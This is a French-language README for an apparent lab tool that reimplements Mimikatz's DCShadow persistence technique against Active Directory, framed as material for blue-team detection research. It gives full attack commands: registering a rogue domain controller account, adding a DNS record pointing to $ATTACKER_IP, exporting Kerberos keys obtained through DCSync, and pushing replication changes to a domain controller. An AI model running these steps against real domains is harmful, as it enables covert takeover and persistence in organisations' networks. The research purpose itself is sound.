
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] NE PAS EXÉCUTER EN PRODUCTION. Ceci est destiné aux tests en laboratoire, pour que les blue teams travaillent sur l'identification des IoC, des types d'événements et des comportements. De plus, cet outil est fourni tel quel. Aucun support n'est prévu en dehors d'une revue standard des pull requests que vous pourriez créer. Ne l'exécutez pas depuis un hôte Windows. Faites-le depuis Linux ou depuis une VM (pour éviter les conflits de services RPC).
Ce projet se veut une alternative pure-python à la technique dcshadow de Mimikatz. Cela inclut un Impacket personnalisé avec des crypto, gssapi et drsuapi modifiés, entre autres.
Le DCShadow est une technique de persistance puissante qui peut être considérée comme un transport pour d'autres techniques telles que l'historique SID, le RBCD KRBTGT, l'abus d'ACE, et plus encore.
Cet outil pourrait servir de fondation à un framework de persistance AD plus polyvalent, qui pourrait être utilisé par notre communauté pour élever notre maturité globale sur le sujet.
Cet outil a été testé sur GOAD.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
Cette machine sera enregistrée comme contrôleur de domaine pendant la durée de la réplication, puis désenregistrée à la fin.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py est modifié pour définir
msDS-SupportedEncryptionTypesà0x1f. Les derniers tests semblent déclencher une violation de contrainte.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}Pour l'instant, utilisez le script addcomputer.py standard d'Impacket et modifiez
msDS-SupportedEncryptionTypesmanuellement via ADSI Edit.
Ceci est nécessaire pour que le DC légitime sache comment joindre le DC malveillant et éviter les erreurs ERROR_DS_DNS_LOOKUP_FAILURE.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] Si la commande ne fonctionne pas pour une raison quelconque, ajoutez l'entrée DNS manuellement via les outils DNS du contrôleur de domaine.
Lorsque nous avons commencé à développer cet outil, nous utilisions des identifiants codés en dur dans un fichier .env, chargés dans la fonction gss_kerberos_ap_req du fichier dcshadow/utils/server/RpcServer.py.
Cela doit clairement être amélioré. Le mot de passe du compte du DC malveillant pourrait être passé en argument CLI et les clés Kerberos calculées. Krbrelayx le fait déjà, dacledit.py aussi, il suffit de copier-coller.
Pour l'instant, vous devez exporter les clés Kerberos comme variables d'environnement.
Cela devrait ressembler à ceci :
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
Ces clés peuvent être récupérées via une attaque DCSync.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] Dans ce cas, un fichier
repl.jsonest utilisé pour spécifier les objets et attributs cibles. Alternativement, l'outil prend en charge les options en ligne (par exemple,--object,--attributeet--value).
Si la DRSReplicaAdd expire, il s'agit probablement d'un problème de réseau/pare-feu sur la machine exécutant dcshadow.py (le DC malveillant), qui ne permet probablement pas le trafic entrant sur 135/TCP (epmapper) et 1337/TCP (ou port dynamique si implémenté à l'avenir, pour drsuapi).
Vous devrez exécuter Wireshark sur le contrôleur de domaine légitime, mais la cause racine la plus probable est que vous essayez d'exécuter ceci sur une machine Windows, ce qui signifie que lorsque le DC légitime demande à l'epmapper de votre DC malveillant le port du point de terminaison drsuapi, la réponse est vide car c'est l'epmapper de votre propre machine Windows qui répond et non le nôtre.
Ce projet n'aurait pas été possible sans l'aide immense d'Alessandro Iandoli "MrAle98", un chercheur talentueux rencontré pendant le développement. Merci Alessandro !
Les crédits reviennent à Benjamin Delpy et Vincent Letoux pour la découverte initiale, les présentations et l'implémentation dans Mimikatz.
Je tiens également à remercier Volker, qui a participé au développement initial.
Merci à Dramelac pour l'aide à passer d'un PoC à un projet modulaire, une base pour un futur framework, si jamais il y arrive.